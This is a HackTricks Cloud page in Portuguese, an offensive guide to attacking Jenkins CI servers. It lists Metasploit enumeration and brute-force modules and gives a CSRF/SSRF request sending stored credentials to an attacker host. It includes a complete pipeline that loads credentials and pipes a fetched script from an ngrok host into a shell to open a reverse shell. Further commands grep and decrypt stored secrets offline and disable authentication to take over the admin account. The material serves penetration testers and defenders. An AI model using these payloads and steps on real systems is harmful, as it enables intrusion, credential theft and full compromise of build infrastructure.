Segurança do Jenkins
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Jenkins é uma ferramenta que oferece um método direto para estabelecer um ambiente de integração contínua ou entrega contínua (CI/CD) para quase qualquer combinação de linguagens de programação e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas rotineiras de desenvolvimento. Embora o Jenkins não elimine a necessidade de criar scripts para passos individuais, ele fornece uma forma mais rápida e robusta de integrar toda a sequência de ferramentas de build, teste e implantação do que se conseguiria construir manualmente com facilidade.
Enumeração Não Autenticada
Para buscar páginas interessantes do Jenkins sem autenticação, como (/people ou /asynchPeople, que lista os usuários atuais), você pode usar:
msf> use auxiliary/scanner/http/jenkins_enum
Verifique se você pode executar comandos sem precisar de autenticação:
msf> use auxiliary/scanner/http/jenkins_command
Sem credenciais você pode inspecionar o caminho /asynchPeople/ ou /securityRealm/user/admin/search/index?q= em busca de nomes de usuário.
Você pode conseguir a versão do Jenkins a partir do caminho /oops ou /error
.png)
Vulnerabilidades conhecidas
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Login
Nas informações básicas você pode verificar todas as formas de login no Jenkins:
Registro
Você pode encontrar instâncias do Jenkins que permitem criar uma conta e efetuar login nelas. Tão simples quanto isso.
SSO Login
Além disso, se a SSO functionality/plugins estiverem presentes então você deve tentar log-in na aplicação usando uma conta de teste (i.e., uma conta de teste Github/Bitbucket account). Trick from here.
Bruteforce
Jenkins não possui política de senha nem mitigação de username brute-force. É essencial brute-force usuários, já que senhas fracas ou nomes de usuário como senha podem estar em uso, inclusive nomes de usuário invertidos como senha.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Use this python script or this powershell script.
IP Whitelisting Bypass
Muitas organizações combinam SaaS-based source control management (SCM) systems como GitHub ou GitLab com uma solução internal, self-hosted CI como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI receive webhook events from SaaS source control vendors, principalmente para disparar pipeline jobs.
Para isso, as organizações whitelist as IP ranges das plataformas SCM, permitindo que acessem o internal CI system via webhooks. No entanto, é importante notar que anyone pode criar uma account no GitHub ou GitLab e configurá-la para trigger a webhook, potencialmente enviando requisições para o internal CI system.
Internal Jenkins Abuses
Nestes cenários vamos supor que você tem uma conta válida para acessar o Jenkins.
Warning
Dependendo do mecanismo de Autorização configurado no Jenkins e das permissões do usuário comprometido, você pode ou não conseguir realizar os ataques a seguir.
For more information check the basic information:
Listing users
Se você acessou o Jenkins, pode listar outros usuários registrados em http://127.0.0.1:8080/asynchPeople/
Dumping builds to find cleartext secrets
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Alguns plugins expõem manipuladores Jelly validateButton ou test connection em caminhos como /descriptorByName/<Class>/testConnection. Quando os handlers não aplicam POST ou verificações de permissão, você pode:
- Trocar POST por GET e remover o Crumb para contornar verificações CSRF.
- Disparar o handler como low-priv/anonymous se não existir uma verificação
Jenkins.ADMINISTER. - Fazer CSRF em um admin e substituir o parâmetro host/URL para exfiltrate credentials ou acionar chamadas de saída.
- Usar os erros de resposta (por exemplo,
ConnectException) como um oráculo SSRF/port-scan.
Exemplo GET (sem Crumb) transformando uma chamada de validação em SSRF/credential exfiltration:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
Se o plugin reutilizar stored creds, o Jenkins tentará autenticar-se em attacker:4444 e pode leak identificadores ou erros na resposta. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Stealing SSH Credentials
Se o usuário comprometido tiver privilégios suficientes para create/modify a new Jenkins node e SSH credentials já estiverem armazenadas para acessar outros nós, ele poderia steal those credentials ao criar/modificar um node e configurar um host que irá registrar as credenciais sem verificar a chave do host:
.png)
Você normalmente encontrará as SSH credentials do Jenkins em um global provider (/credentials/), então você também pode dumpá-las como faria com qualquer outro segredo. More information in the Dumping secrets section.
RCE in Jenkins
Obter um shell in the Jenkins server dá ao atacante a oportunidade de leak todos os secrets e env variables e de explorar outras máquinas localizadas na mesma rede ou até mesmo gather cloud credentials.
Por padrão, o Jenkins irá run as SYSTEM. Portanto, comprometer ele dará ao atacante SYSTEM privileges.
RCE Creating/Modifying a project
Creating/Modifying a project é uma forma de obter RCE over the Jenkins server:
Jenkins RCE Creating/Modifying Project
RCE Execute Groovy script
Você também pode obter RCE executando um script Groovy, o que pode ser mais furtivo do que criar um novo projeto:
Jenkins RCE with Groovy Script
RCE Creating/Modifying Pipeline
Você também pode obter RCE by creating/modifying a pipeline:
Jenkins RCE Creating/Modifying Pipeline
Pipeline Exploitation
Para explorar pipelines você ainda precisa ter acesso ao Jenkins.
Build Pipelines
Pipelines também podem ser usados como mecanismo de build em projetos; nesse caso pode ser configurado um file inside the repository que conterá a sintaxe do pipeline. Por padrão /Jenkinsfile é usado:
.png)
Também é possível store pipeline configuration files in other places (por exemplo, em outros repositórios) com o objetivo de separar o acesso ao repositório do acesso ao pipeline.
Se um atacante tiver write access over that file ele poderá modify o arquivo e potentially trigger o pipeline sem sequer ter acesso ao Jenkins. É possível que o atacante precise bypass some branch protections (dependendo da plataforma e dos privilégios do usuário elas podem ou não ser contornadas).
Note
Se você for um external user não deve esperar criar um PR to the main branch do repositório de outro user/organization e trigger the pipeline… mas se estiver bad configured você poderia comprometer completamente empresas apenas explorando isso.
Pipeline RCE
Na seção anterior de RCE já foi indicada uma técnica para get RCE modifying a pipeline.
Checking Env variables
É possível declarar clear text env variables para todo o pipeline ou para estágios específicos. Essas env variables shouldn’t contain sensitive info, mas um atacante sempre poderia verificar toda a configuração do pipeline/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Extraindo segredos
Para obter informações sobre como os segredos são normalmente tratados pelo Jenkins, consulte as informações básicas:
As credenciais podem ser vinculadas a provedores globais (/credentials/) ou a projetos específicos (/job/<project-name>/configure). Portanto, para exfiltrar todas elas você precisa comprometer pelo menos todos os projetos que contêm segredos e executar custom/poisoned pipelines.
Há outro problema: para obter um segredo dentro do env de um pipeline você precisa saber o nome e o tipo do segredo. Por exemplo, se você tentar carregar um usernamePassword segredo como um string segredo você receberá este erro:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Aqui está a forma de carregar alguns tipos comuns de secret:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
No final desta página você pode encontrar todos os tipos de credenciais: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
A melhor forma de dump all the secrets at once é compromising a máquina Jenkins (executando um reverse shell no built-in node por exemplo) e então leaking as master keys e os encrypted secrets e decrypting them offline.
Mais sobre como fazer isso na Nodes & Agents section e na Post Exploitation section.
Triggers
De acordo com the docs: A diretiva triggers define as maneiras automatizadas pelas quais o Pipeline deve ser disparado novamente. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, triggers pode não ser necessário, pois a integração via webhooks provavelmente já estará presente. Os triggers atualmente disponíveis são cron, pollSCM e upstream.
Cron example:
triggers { cron('H */4 * * 1-5') }
Consulte outros exemplos na documentação.
Nós & Agentes
Uma Jenkins instance pode ter agentes diferentes executando em máquinas diferentes. Do ponto de vista de um atacante, o acesso a máquinas diferentes significa potenciais credenciais de cloud diferentes para roubar ou diferente acesso à rede que pode ser abusado para explorar outras máquinas.
Para mais informações confira as informações básicas:
Você pode enumerar os nós configurados em /computer/, normalmente você encontrará o Built-In Node (que é o nó que executa o Jenkins) e potencialmente outros:
.png)
É especialmente interessante comprometer o Built-In node porque ele contém informações sensíveis do Jenkins.
Para indicar que você quer executar o pipeline no built-in Jenkins node você pode especificar dentro do pipeline a seguinte configuração:
pipeline {
agent {label 'built-in'}
Exemplo completo
Pipeline em um agente específico, com um cron trigger, com env variables de pipeline e stage, carregando 2 variáveis em um step e enviando um reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read to RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Você pode listar os secrets acessando /credentials/ se tiver permissões suficientes. Note que isso listará apenas os secrets dentro do arquivo credentials.xml, mas build configuration files podem também conter mais credentials.
Se você puder ver a configuração de cada projeto, também poderá ver ali os nomes das credentials (secrets) usados para acessar o repositório e outros credentials do projeto.
.png)
A partir de Groovy
Jenkins Dumping Secrets from Groovy
Do disco
Estes arquivos são necessários para descriptografar os Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Tais secrets geralmente podem ser encontrados em:
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
Aqui está uma regex para encontrá-los:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Descriptografar segredos do Jenkins offline
Se você tiver extraído as senhas necessárias para descriptografar os segredos, use este script para descriptografar esses segredos.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Descriptografar segredos do Jenkins a partir de Groovy
println(hudson.util.Secret.decrypt("{...}"))
Criar novo usuário administrador
- Acesse o arquivo config.xml do Jenkins em
/var/lib/jenkins/config.xmlouC:\Program Files (x86)\Jenkis\ - Procure por
<useSecurity>true</useSecurity>e troque a palavratrueporfalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Reinicie o servidor Jenkins:
service jenkins restart - Agora vá ao portal do Jenkins novamente e o Jenkins não solicitará credenciais desta vez. Navegue para “Manage Jenkins” para definir a senha do administrador novamente.
- Habilite a segurança novamente alterando para
<useSecurity>true</useSecurity>e reinicie o Jenkins novamente.
Referências
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

